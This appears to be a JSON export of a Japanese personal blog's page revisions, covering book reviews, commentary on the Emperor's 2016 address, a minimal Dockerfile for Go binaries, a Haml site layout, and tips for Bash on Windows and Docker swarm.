src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=4022735651\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nなんとなく読んだ。\r\n無職の人の状況がいろいろとまとまっていてよい。\r\n\r\n無職の人の具体的な実例がいろいろ乗っていて、このとおり読者のみなさんと無職の人達は全然かわらずみなさんもすぐにこうなるかもしれません、というような感じのことが主張されている。だが実際読者の多くと彼等若年長期失業者の間には大きな違いがある。\r\n\r\n彼等はあまりにも実直すぎ、そして気が弱すぎる。\r\n\r\nそりゃまあそんだけ気が弱くて正直ならそうなるだろうという感じだ。別の言いかたをすれば、世渡りが下手すぎる。\r\n\r\n日本社会において、実直であること、気が弱いことがよい方向に働くことなど、実はほとんどない。我々は限られた資源を共有する農村で生きているわけではない。であれば抜け目がなく押しが強い人物の方が、有利だ。\r\n\r\nではどうすればよいか。必要なのは、演技だ。気が弱い人間であっても、演技を知っていれば切り抜けられる。もちろん演技というのは非常に体力を使うものなのだが、ここぞという時だけやるのであれば、なんとかなる。\r\n\r\nなんというか、こういう自分もふくめて他人を騙すというか、ごまかすというか、そういう技術を義務教育とか職業訓練とかでもっとやっていかないと不幸は減らせないのでは、、、と思いました。","created_at":"2016-08-05T05:52:57.000Z","updated_at":"2016-08-05T05:52:57.000Z"},{"id":2973,"name":"text/Father","body":"%blog% 読んだ: 金川晋吾 『father』\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=4861525268\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n\r\nクズの父親の写真集。父親の写真以外に、父親とふれあった日記みたいのが後ろのほうに乗っているのだが、多重債務パチンコ野郎で、ようするにどこにでもいる量産型のクズである。別になにも特別な人間ではないのだが、この本の著者は父親を特別な存在だと思いたがっている(だからこそこんなものを作ったのではないか)。\r\n\r\n写真はよくセットアップされていて、よいのだが、ここでは写真を評価するということはしないでおく(そういう鑑識眼が自分にあるとは思えないので)。おそらく、著者は、こういうものを作り、自分の父親が特別な存在であると思うことで、なんとか父親と付き合うことができているのだろう。\r\n\r\nしかし実際にはそうではない。彼等は他人を心配させる言動を繰り返すことで、他人を支配する。サイコパス、クズとはそういうもので、それを直すことは非常に困難だ。親だろうがなんだろうが全力で逃げることが実際唯一の対処法だ。\r\n\r\n著者にもし友人がいるのであれば、彼に適切なアドバイスをするべきではないか。","created_at":"2016-08-05T05:59:43.000Z","updated_at":"2016-08-05T05:59:43.000Z"},{"id":2974,"name":"text/天皇陛下のお言葉","body":"%blog%\r\n\r\nまず最初に僕の立場としてはこうです。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e僕の考えとしてはこのようなやり方は立憲国家にたいして非常に有害であると考えているがそもそも立憲国家は停止して天皇親政が望ましいと考えているのでどんどんやっていってほしい、というかんじです\u003c/p\u003e\u0026mdash; レバノン人 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/762550138585788416\"\u003eAugust 8, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n本日発表された天皇陛下のお言葉の中に以下の一説がありました。\r\n\r\n\u003e 天皇が象徴であると共に,国民統合の象徴としての役割を果たすためには,天皇が国民に,天皇という象徴の立場への理解を求めると共に,天皇もまた,自らのありように深く心し,国民に対する理解を深め,常に国民と共にある自覚を自らの内に育てる必要を感じて来ました。こうした意味において,日本の各地,とりわけ遠隔の地や島々への旅も,私は天皇の象徴的行為として,大切なものと感じて来ました。\r\n\u003e (中略)\r\n\u003e 天皇の高齢化に伴う対処の仕方が,国事行為や,その象徴としての行為を限りなく縮小していくことには,無理があろうと思われます。また,天皇が未成年であったり,重病などによりその機能を果たし得なくなった場合には,天皇の行為を代行する摂政を置くことも考えられます。しかし,この場合も,天皇が十分にその立場に求められる務めを果たせぬまま,生涯の終わりに至るまで天皇であり続けることに変わりはありません。\r\n\u003e - [象徴としてのお務めについての天皇陛下のおことば:象徴としてのお務めについての天皇陛下のおことば(ビデオ)(平成28年8月8日) - 宮内庁](http://www.kunaicho.go.jp/page/okotoba/detail/12#41)\r\n\r\nこれはどういうことでしょうか。天皇とは日本各地を巡視し国民と共にあることがその職務であり、それが出来ない限りは天皇ではない、という強力な意思を天皇陛下は発表されました。\r\n\r\nところで憲法には\r\n\r\n\u003e 第一条 天皇は、日本国の象徴であり日本国民統合の象徴であって、この地位は、主権の存する日本国民の総意に基く。\r\n\r\nとあり、明確に天皇の地位はありようは国民によって決定されると書かれています。しかし、陛下は天皇のなすべきことを自ら決定され、国民にお伝えになられました。国家と国民統合の象徴とはなんであるかを決定することは国民ではなく、天皇自身であると宣言されたことになります。\r\n\r\nこれは事実上天皇親政の宣言であり、主権は国民ではなく天皇にあることが宣言されたのではないでしょうか。そして共産党をはじめとするすべての政党がこうした点について異論をさしはさんでおらず、天皇陛下のお言葉は事実上国民の大多数に受け入れられたと考えていいのではないか。\r\n\r\nもちろん実際のところ行政、政治の要人たちが国民主権という建前を維持しながら陛下のご意志を実現する方法を考えに考えた結果があのスピーチなのだと思います(本格的な検討からは八か月、さらに 5 年近く前から予備的な検討がはじまっていたと報じられています)。しかしその上で天皇の地位とは何かということを陛下が決定するようなお言葉があのスピーチに残存したということは、これにかかわる人たちの共通の見解として天皇こそが元首であり主権者なのだという意識がどこかにあることの証左なのではないか。\r\n\r\n当然のことながら今すぐにこのような出来事をもって民主主義国家の直ちの終焉が訪れるとは僕も考えていませんが、これが契機となったということを認識する日がいつか来るのではないか、あるいはこれを契機としてそのような方向に物事を少しずつ動かしていくことは難しくないのではないか、と考えています。","created_at":"2016-08-08T12:10:25.000Z","updated_at":"2016-08-08T12:10:25.000Z"},{"id":2975,"name":"text/天皇陛下のお言葉","body":"%blog%\r\n\r\nまず最初に僕の立場としてはこうです。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e僕の考えとしてはこのようなやり方は立憲国家にたいして非常に有害であると考えているがそもそも立憲国家は停止して天皇親政が望ましいと考えているのでどんどんやっていってほしい、というかんじです\u003c/p\u003e\u0026mdash; レバノン人 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/762550138585788416\"\u003eAugust 8, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n本日発表された天皇陛下のお言葉の中に以下の一説がありました。\r\n\r\n\u003e 天皇が象徴であると共に,国民統合の象徴としての役割を果たすためには,天皇が国民に,天皇という象徴の立場への理解を求めると共に,天皇もまた,自らのありように深く心し,国民に対する理解を深め,常に国民と共にある自覚を自らの内に育てる必要を感じて来ました。こうした意味において,日本の各地,とりわけ遠隔の地や島々への旅も,私は天皇の象徴的行為として,大切なものと感じて来ました。\r\n\u003e \r\n\u003e (中略)\r\n\u003e \r\n\u003e 天皇の高齢化に伴う対処の仕方が,国事行為や,その象徴としての行為を限りなく縮小していくことには,無理があろうと思われます。また,天皇が未成年であったり,重病などによりその機能を果たし得なくなった場合には,天皇の行為を代行する摂政を置くことも考えられます。しかし,この場合も,天皇が十分にその立場に求められる務めを果たせぬまま,生涯の終わりに至るまで天皇であり続けることに変わりはありません。\r\n\u003e - [象徴としてのお務めについての天皇陛下のおことば:象徴としてのお務めについての天皇陛下のおことば(ビデオ)(平成28年8月8日) - 宮内庁](http://www.kunaicho.go.jp/page/okotoba/detail/12#41)\r\n\r\nこれはどういうことでしょうか。天皇とは日本各地を巡視し国民と共にあることがその職務であり、それが出来ない限りは天皇ではない、という強力な意思を天皇陛下は発表されました。\r\n\r\nところで憲法には\r\n\r\n\u003e 第一条 天皇は、日本国の象徴であり日本国民統合の象徴であって、この地位は、主権の存する日本国民の総意に基く。\r\n\r\nとあり、明確に天皇の地位はありようは国民によって決定されると書かれています。しかし、陛下は天皇のなすべきことを自ら決定され、国民にお伝えになられました。国家と国民統合の象徴とはなんであるかを決定することは国民ではなく、天皇自身であると宣言されたことになります。\r\n\r\nこれは事実上天皇親政の宣言であり、主権は国民ではなく天皇にあることが宣言されたのではないでしょうか。そして共産党をはじめとするすべての政党がこうした点について異論をさしはさんでおらず、天皇陛下のお言葉は事実上国民の大多数に受け入れられたと考えていいのではないか。\r\n\r\nもちろん実際のところ行政、政治の要人たちが国民主権という建前を維持しながら陛下のご意志を実現する方法を考えに考えた結果があのスピーチなのだと思います(本格的な検討からは八か月、さらに 5 年近く前から予備的な検討がはじまっていたと報じられています)。しかしその上で天皇の地位とは何かということを陛下が決定するようなお言葉があのスピーチに残存したということは、これにかかわる人たちの共通の見解として天皇こそが元首であり主権者なのだという意識がどこかにあることの証左なのではないか。\r\n\r\n当然のことながら今すぐにこのような出来事をもって民主主義国家の直ちの終焉が訪れるとは僕も考えていませんが、これが契機となったということを認識する日がいつか来るのではないか、あるいはこれを契機としてそのような方向に物事を少しずつ動かしていくことは難しくないのではないか、と考えています。","created_at":"2016-08-08T12:10:59.000Z","updated_at":"2016-08-08T12:10:59.000Z"},{"id":2976,"name":"text/天皇陛下のお言葉","body":"%blog%\r\n\r\nまず最初に僕の立場としてはこうです。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e僕の考えとしてはこのようなやり方は立憲国家にたいして非常に有害であると考えているがそもそも立憲国家は停止して天皇親政が望ましいと考えているのでどんどんやっていってほしい、というかんじです\u003c/p\u003e\u0026mdash; レバノン人 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/762550138585788416\"\u003eAugust 8, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n本日発表された天皇陛下のお言葉の中に以下の一説がありました。\r\n\r\n\u003e 天皇が象徴であると共に,国民統合の象徴としての役割を果たすためには,天皇が国民に,天皇という象徴の立場への理解を求めると共に,天皇もまた,自らのありように深く心し,国民に対する理解を深め,常に国民と共にある自覚を自らの内に育てる必要を感じて来ました。こうした意味において,日本の各地,とりわけ遠隔の地や島々への旅も,私は天皇の象徴的行為として,大切なものと感じて来ました。\r\n\u003e \r\n\u003e (中略)\r\n\u003e \r\n\u003e 天皇の高齢化に伴う対処の仕方が,国事行為や,その象徴としての行為を限りなく縮小していくことには,無理があろうと思われます。また,天皇が未成年であったり,重病などによりその機能を果たし得なくなった場合には,天皇の行為を代行する摂政を置くことも考えられます。しかし,この場合も,天皇が十分にその立場に求められる務めを果たせぬまま,生涯の終わりに至るまで天皇であり続けることに変わりはありません。\r\n\u003e \r\n\u003e - [象徴としてのお務めについての天皇陛下のおことば:象徴としてのお務めについての天皇陛下のおことば(ビデオ)(平成28年8月8日) - 宮内庁](http://www.kunaicho.go.jp/page/okotoba/detail/12#41)\r\n\r\nこれはどういうことでしょうか。天皇とは日本各地を巡視し国民と共にあることがその職務であり、それが出来ない限りは天皇ではない、という強力な意思を天皇陛下は発表されました。\r\n\r\nところで憲法には\r\n\r\n\u003e 第一条 天皇は、日本国の象徴であり日本国民統合の象徴であって、この地位は、主権の存する日本国民の総意に基く。\r\n\r\nとあり、明確に天皇の地位はありようは国民によって決定されると書かれています。しかし、陛下は天皇のなすべきことを自ら決定され、国民にお伝えになられました。国家と国民統合の象徴とはなんであるかを決定することは国民ではなく、天皇自身であると宣言されたことになります。\r\n\r\nこれは事実上天皇親政の宣言であり、主権は国民ではなく天皇にあることが宣言されたのではないでしょうか。そして共産党をはじめとするすべての政党がこうした点について異論をさしはさんでおらず、天皇陛下のお言葉は事実上国民の大多数に受け入れられたと考えていいのではないか。\r\n\r\nもちろん実際のところ行政、政治の要人たちが国民主権という建前を維持しながら陛下のご意志を実現する方法を考えに考えた結果があのスピーチなのだと思います(本格的な検討からは八か月、さらに 5 年近く前から予備的な検討がはじまっていたと報じられています)。しかしその上で天皇の地位とは何かということを陛下が決定するようなお言葉があのスピーチに残存したということは、これにかかわる人たちの共通の見解として天皇こそが元首であり主権者なのだという意識がどこかにあることの証左なのではないか。\r\n\r\n当然のことながら今すぐにこのような出来事をもって民主主義国家の直ちの終焉が訪れるとは僕も考えていませんが、これが契機となったということを認識する日がいつか来るのではないか、あるいはこれを契機としてそのような方向に物事を少しずつ動かしていくことは難しくないのではないか、と考えています。","created_at":"2016-08-08T12:11:15.000Z","updated_at":"2016-08-08T12:11:15.000Z"},{"id":2977,"name":"text/Docker_and_Golang","body":"%blog% Docker で Go で作ったバイナリを実行するなるべく小さいバイナリを作る\r\n\r\nGo でアプリケーションを作ると、そのまま他になにもなくとも実行できるバイナリが出来あがります。この特性によりデプロイが大変楽です。\r\n\r\nこのような特性があるので、 Go を使う場合 Docker のようなオーケストレーションツールを使わなくても多くのサーバーにアプリをデプロイしていくことも可能かと思われますが、そこはまあ Docker という巨人に乗っておくと楽なことが多いです。具体的には swarm と docker-compose が便利なので Docker 上で実行したい。\r\n\r\nここで問題となってくるのが何も考えずに Docker イメージを作るとイメージサイズが膨れあがってしまってシングルバイナリによる手軽さなどが損なわれてしまうという点です。\r\n\r\nたとえば golang:alpine のような比較的小さいイメージを使ってもファイルサイズはバイナリサイズ + 300MB ほどにもなってしまいます。\r\n\r\nこれが一箇所の拠点にイメージを配信すればいいだけなら楽ですが、大陸をまたいでいたりすると 300MB も余計にダウンロードさせないといけないのは結構ストレスになります。\r\n\r\nというわけで Go で作ったバイナリを実行できる最小限に近いコンテナの Dockerfile を書きました。\r\n\r\n```\r\nFROM alpine:3.4\r\nRUN apk add --no-cache ca-certificates\r\nRUN mkdir /lib64 \u0026\u0026 ln -s /lib/libc.musl-x86_64.so.1 /lib64/ld-linux-x86-64.so.2\r\n```\r\n\r\nこれで実行できます。これだけなので Docker Hub とかには上げてません。これだとバイナリサイズ + 4MB ぐらいで済むのでデプロイが楽です。","created_at":"2016-08-09T08:50:24.000Z","updated_at":"2016-08-09T08:50:24.000Z"},{"id":2978,"name":"text/Docker_and_Golang","body":"%blog% Docker で Go で作ったバイナリを実行するなるべく小さいコンテナを作る\r\n\r\nGo でアプリケーションを作ると、そのまま他になにもなくとも実行できるバイナリが出来あがります。この特性によりデプロイが大変楽です。\r\n\r\nこのような特性があるので、 Go を使う場合 Docker のようなオーケストレーションツールを使わなくても多くのサーバーにアプリをデプロイしていくことも可能かと思われますが、そこはまあ Docker という巨人に乗っておくと楽なことが多いです。具体的には swarm と docker-compose が便利なので Docker 上で実行したい。\r\n\r\nここで問題となってくるのが何も考えずに Docker イメージを作るとイメージサイズが膨れあがってしまってシングルバイナリによる手軽さなどが損なわれてしまうという点です。\r\n\r\nたとえば golang:alpine のような比較的小さいイメージを使ってもファイルサイズはバイナリサイズ + 300MB ほどにもなってしまいます。\r\n\r\nこれが一箇所の拠点にイメージを配信すればいいだけなら楽ですが、大陸をまたいでいたりすると 300MB も余計にダウンロードさせないといけないのは結構ストレスになります。\r\n\r\nというわけで Go で作ったバイナリを実行できる最小限に近いコンテナの Dockerfile を書きました。\r\n\r\n```\r\nFROM alpine:3.4\r\nRUN apk add --no-cache ca-certificates\r\nRUN mkdir /lib64 \u0026\u0026 ln -s /lib/libc.musl-x86_64.so.1 /lib64/ld-linux-x86-64.so.2\r\n```\r\n\r\nこれで実行できます。これだけなので Docker Hub とかには上げてません。これだとバイナリサイズ + 4MB ぐらいで済むのでデプロイが楽です。 FROM scratch してもっと頑張れば頑張れる可能性はありますが、まあこの程度でも十分でしょう。","created_at":"2016-08-09T08:51:05.000Z","updated_at":"2016-08-09T08:51:05.000Z"},{"id":2979,"name":"text/Docker_and_Golang","body":"%blog% Docker で Go で作ったバイナリを実行するなるべく小さいコンテナを作る\r\n\r\nGo でアプリケーションを作ると、そのまま他になにもなくとも実行できるバイナリが出来あがります。この特性によりデプロイが大変楽です。\r\n\r\nこのような特性があるので、 Go を使う場合 Docker のようなオーケストレーションツールを使わなくても多くのサーバーにアプリをデプロイしていくことも可能かと思われますが、そこはまあ Docker という巨人に乗っておくと楽なことが多いです。具体的には swarm と docker-compose が便利なので Docker 上で実行したい。\r\n\r\nここで問題となってくるのが何も考えずに Docker イメージを作るとイメージサイズが膨れあがってしまってシングルバイナリによる手軽さなどが損なわれてしまうという点です。\r\n\r\nたとえば golang:alpine のような比較的小さいイメージを使ってもファイルサイズはバイナリサイズ + 300MB ほどにもなってしまいます。\r\n\r\nこれが一箇所の拠点にイメージを配信すればいいだけなら楽ですが、大陸をまたいでいたりすると 300MB も余計にダウンロードさせないといけないのは結構ストレスになります。\r\n\r\nというわけで Go で作ったバイナリを実行できる最小限に近いコンテナの Dockerfile を書きました。\r\n\r\n```\r\nFROM alpine\r\nRUN apk add --no-cache ca-certificates\r\nRUN mkdir /lib64 \u0026\u0026 ln -s /lib/libc.musl-x86_64.so.1 /lib64/ld-linux-x86-64.so.2\r\n```\r\n\r\nこれで実行できます。これだけなので Docker Hub とかには上げてません。これだとバイナリサイズ + 4MB ぐらいで済むのでデプロイが楽です。 FROM scratch してもっと頑張れば頑張れる可能性はありますが、まあこの程度でも十分でしょう。","created_at":"2016-08-09T08:51:20.000Z","updated_at":"2016-08-09T08:51:20.000Z"},{"id":2980,"name":"text/Docker_and_Golang","body":"%blog% Docker で Go で作ったバイナリを実行するなるべく小さいコンテナを作る\r\n\r\nGo でアプリケーションを作ると、そのまま他になにもなくとも実行できるバイナリが出来あがります。この特性によりデプロイが大変楽です。\r\n\r\nこのような特性があるので、 Go を使う場合 Docker のようなオーケストレーションツールを使わなくても多くのサーバーにアプリをデプロイしていくことも可能かと思われますが、そこはまあ Docker という巨人に乗っておくと楽なことが多いです。具体的には swarm と docker-compose が便利なので Docker 上で実行したい。\r\n\r\nここで問題となってくるのが何も考えずに Docker イメージを作るとイメージサイズが膨れあがってしまってシングルバイナリによる手軽さなどが損なわれてしまうという点です。\r\n\r\nたとえば golang:alpine のような比較的小さいイメージを使ってもファイルサイズはバイナリサイズ + 300MB ほどにもなってしまいます。 debian:jessie とかでも 120MB はあります。\r\n\r\nこれが一箇所の拠点にイメージを配信すればいいだけなら楽ですが、大陸をまたいでいたりすると 120MB だとか 300MB だとかを余計にダウンロードさせないといけないのは結構ストレスになります。\r\n\r\nというわけで Go で作ったバイナリを実行できる最小限に近いコンテナの Dockerfile を書きました。\r\n\r\n```\r\nFROM alpine\r\nRUN apk add --no-cache ca-certificates\r\nRUN mkdir /lib64 \u0026\u0026 ln -s /lib/libc.musl-x86_64.so.1 /lib64/ld-linux-x86-64.so.2\r\n```\r\n\r\nこれで実行できます。これだけなので Docker Hub とかには上げてません。これだとバイナリサイズ + 4MB ぐらいで済むのでデプロイが楽です。 FROM scratch してもっと頑張れば頑張れる可能性はありますが、まあこの程度でも十分でしょう。","created_at":"2016-08-09T08:52:12.000Z","updated_at":"2016-08-09T08:52:12.000Z"},{"id":2981,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"https://code.jquery.com/jquery-3.1.0.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/search.coffee\"}\r\n%div#all\r\n ~@page.html(request)\r\n %hr\r\n %h4 Site Search\r\n %div\r\n %input#search\r\n #search_area\r\n -if Page.where(name: @page.name).order('id desc').count \u003e 1\r\n %h4 Update History of this content\r\n %div\r\n %ul\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2016-08-09T09:07:43.000Z","updated_at":"2016-08-09T09:07:43.000Z"},{"id":2982,"name":"text/Docker_and_Golang","body":"%blog% Docker で Go で作ったバイナリを実行するなるべく小さいコンテナを作る\r\n\r\nGo でアプリケーションを作ると、そのまま他になにもなくとも実行できるバイナリが出来あがります。この特性によりデプロイが大変楽です。\r\n\r\nこのような特性があるので、 Go を使う場合 Docker のようなオーケストレーションツールを使わなくても多くのサーバーにアプリをデプロイしていくことも可能かと思われますが、そこはまあ Docker という巨人に乗っておくと楽なことが多いです。具体的には swarm と docker-compose が便利なので Docker 上で実行したい。\r\n\r\nここで問題となってくるのが何も考えずに Docker イメージを作るとイメージサイズが膨れあがってしまってシングルバイナリによる手軽さなどが損なわれてしまうという点です。\r\n\r\nたとえば golang:alpine のような比較的小さいイメージを使ってもファイルサイズはバイナリサイズ + 300MB ほどにもなってしまいます。 debian:jessie とかでも 120MB はあります。\r\n\r\nこれが一箇所の拠点にイメージを配信すればいいだけなら楽ですが、大陸をまたいでいたりすると 120MB だとか 300MB だとかを余計にダウンロードさせないといけないのは結構ストレスになります。\r\n\r\nというわけで Go で作ったバイナリを実行できる最小限に近いコンテナの Dockerfile を書きました。\r\n\r\n```\r\nFROM alpine\r\nRUN apk add --no-cache ca-certificates\r\nRUN mkdir /lib64 \u0026\u0026 ln -s /lib/libc.musl-x86_64.so.1 /lib64/ld-linux-x86-64.so.2\r\n```\r\n\r\nこれで実行できます。これだけなので Docker Hub とかには上げてません。これだとバイナリサイズ + 4MB ぐらいで済むのでデプロイが楽です。 FROM scratch してもっと頑張れば頑張れる可能性はありますが、まあこの程度でも十分でしょう。\r\n\r\n### 追記\r\nglibc じゃないと困るとき便利そうなやつみつけた\r\n\r\nhttps://github.com/frol/docker-alpine-glibc","created_at":"2016-08-10T03:13:22.000Z","updated_at":"2016-08-10T03:13:22.000Z"},{"id":2983,"name":"text/bash_on_windows","body":"%blog% Bash On Windows で生活する\r\n\r\n## 結論\r\n特段事情がない限りは Linux インストールして使うか Mac 買うかしたほうがいいと思う\r\n\r\n## 以下こまごました話\r\nBash On Windows/Windows Subsystem for Linux でやっていきたいという風になったときに知っておくといいことのまとめです。\r\n\r\n### 16.04 にはアップグレードできる、しかしやめておいたほうがいい。\r\n- [Bash on Ubuntu on WindowsをUbuntu 16.04にアップグレードしてみる - Qiita](http://qiita.com/Aruneko/items/2670f42d36a7508c13bb)\r\n\r\nこちらの記事の内容に従えばアップグレードすることは可能です。しかしやめておいたほうがよいです。 \r\n\r\n- /proc がマウントされなくなる\r\n- Bash On Windows で使えるメモリが 1GB に制限されてしまう\r\n\r\nという不具合が発生してしまいます。特に後者は致命的。おとなしく 14.04 で我慢しましょう。\r\n\r\n### まともにターミナルを使いたいときは SSH するしかない\r\nConEmu だとか Cmder だとかいろいろと Windows 向けのターミナルエミュレータはあって、結構まともに動くものなのですが、 Bash On Windows との相性はあまりよいとは言えません。また標準 cmd.exe については言わずもがな。 256 色を使えないのも痛い。\r\n\r\nまた結構問題なのが bash.exe から直接起動したときはデフォルトシェルの設定が無視されてしまうという点です。\r\n\r\n上記二点の問題は sshd を立てて ssh 経由で起動してしまえば解決します。\r\n\r\nBash On Windows で sshd を起動するには、 /etc/ssh/sshd_config を\r\n\r\n```\r\nUsePrivilegeSeparation no\r\n```\r\n\r\nと修正すれば大丈夫です。こうすればあとは sudo /usr/sbin/sshd -D とかで普通に起動します。\r\n\r\n### デーモンの自動起動とかはできない\r\nBash On Windows ではデーモンの自動起動とかはできませんし、 Bash On Windows のプロセスが全部死ぬと内部の Linux プロセスも全部死ぬという問題があります。なので /boot.sh とかなんとか適当なシェルスクリプトを作ってそこに\r\n\r\n``` sh\r\n#!/bin/sh\r\nsudo /etc/init.d/redis-server start\r\nsudo /etc/init.d/mysql-server start\r\nsudo /etc/init.d/mongodb start\r\nsudo /usr/sbin/sshd -D \r\n```\r\n\r\nとか適当に起動したいデーモンを書いておいて、\r\n\r\n``` bat\r\nbash.exe -c \"sh /boot.sh\"\r\n```\r\n\r\nみたいなバッチファイルを作ってどこかに置いておいて起動用に使えばよいでしょう。スタートアップに入れてもいいかもしれない。コマンドプロンプトのウィンドウがうざいみたい場合は[TaskTrayPlus](http://bnassoft.s35.xrea.com/)とかで隠せる。\r\n\r\n\r\n### X は意外とちゃんと動く\r\n[Xming](https://sourceforge.net/projects/xming/) という Windows 用 X サーバーがあり、ここ最近あんまメンテされていないように見えますが Windows 10 でもちゃんと動きます。\r\n\r\n``` sh\r\n$ DISPLAY=localhost:0.0 gvim\r\n```\r\n\r\nとかすれば普通に GVim が使えます。 クリップボードは共有できますが、 IME は当然共有されません。 Vim とか Emacs とかみたいにエディタ内で日本語入力ができるエディタならかなり快適です。\r\n\r\n様子としては以下のような感じ\r\n\r\n![様子](http://s.ssig33.com/gyazo/732a18bc5ed248808ff3c0b4558a4463)\r\n\r\nWindows 側のもと Linux 側のものが混ざっています。\r\n\r\n### Docker\r\ndocker-engine 自体はインストールできるので、 Remote API 経由で使うことはできます。ただ Linux のディレクトリは Windows 側から見えるので、 Docker だけは Docker for Windows を使うのがいいかもしれない。\r\n\r\n## 終わりに\r\nこれはしょせんよくできた Cygwin みたいな感じの仕組みなのでパフォーマンスについては、かなり悪いです。 git grep とかしてみるとかなりひっかかる感じがあると思います。\r\n\r\nぼくはゲーム用マシンでも開発できるようにしたいみたいな感じで環境構築してみましたが、これだけでやっていけるかというと、まあやりたいことはたいてい全部できるけど、、、みたいな感じです。\r\n\r\n特別理由がないかぎりはふつうに PC に Linux いれるか Mac 買ってくるかしたらいいんじゃないかな、、、という感じです。 Cygwin でいろいろ我慢していろいろやっていた人たちはただちに引っ越したほうがいいですね。","created_at":"2016-08-12T08:47:02.000Z","updated_at":"2016-08-12T08:47:02.000Z"},{"id":2984,"name":"text/Docker swarm モードでのラベルの使用","body":"%blog%\r\n\r\nDocker の swarm モードが何かについては [Docker 1.12RC の swarm mode チュートリアル - Qiita](http://qiita.com/zembutsu/items/6fb6eface38d62b3584d) を読んでおいてください。とにかくすごいやつです。ロードバランサがどうのとかそういうことを考える必要がほとんどなくなってすごいことになります。\r\n\r\nここで以下のようなサーバー群からなるクラスタがあるとします\r\n\r\n- アメリカの糞みたいに遅い VPS にあるサーバー\r\n - manager\r\n - node1\r\n - node2\r\n - node3\r\n- 日本のさくらインターネットにあるサーバー\r\n - resource01\r\n- conoha にあるサーバー\r\n - conoha1\r\n - conoha2\r\n- イタリアのよく分からない VPS にあるサーバー\r\n - pizza\r\n - sicilia\r\n\r\nちなみにこれはぼくが今使っている swarm クラスタの実際の構成です。\r\n\r\nたとえばここでアメリカの糞みたいに遅い VPS にのみデプロイしたいサービスがあるとします。その場合どうすればよいか。公式のドキュメントを読んでもいまのところやり方が書かれていませんが、 [github の issue](https://github.com/docker/docker/pull/24397#issuecomment-231227571) 